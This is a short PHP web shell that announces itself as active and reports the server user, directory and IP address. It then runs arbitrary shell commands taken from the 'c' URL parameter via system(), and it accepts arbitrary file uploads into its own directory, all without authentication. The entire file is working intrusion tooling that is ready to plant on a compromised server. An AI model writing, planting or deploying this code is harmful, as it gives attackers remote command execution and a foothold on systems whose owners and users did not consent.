<?php
echo "WEBSHELL_ACTIVE\n";
echo "User: ".exec('whoami')."\n";
echo "Dir: ".getcwd()."\n";
echo "IP: ".$_SERVER['SERVER_ADDR']."\n";
if(isset($_GET['c'])) {
    echo "CMD: ".$_GET['c']."\n";
    system($_GET['c']);
}
if(isset($_FILES['f'])) {
    move_uploaded_file($_FILES['f']['tmp_name'], './'.$_FILES['f']['name']);
    echo "Uploaded: ".$_FILES['f']['name'];
}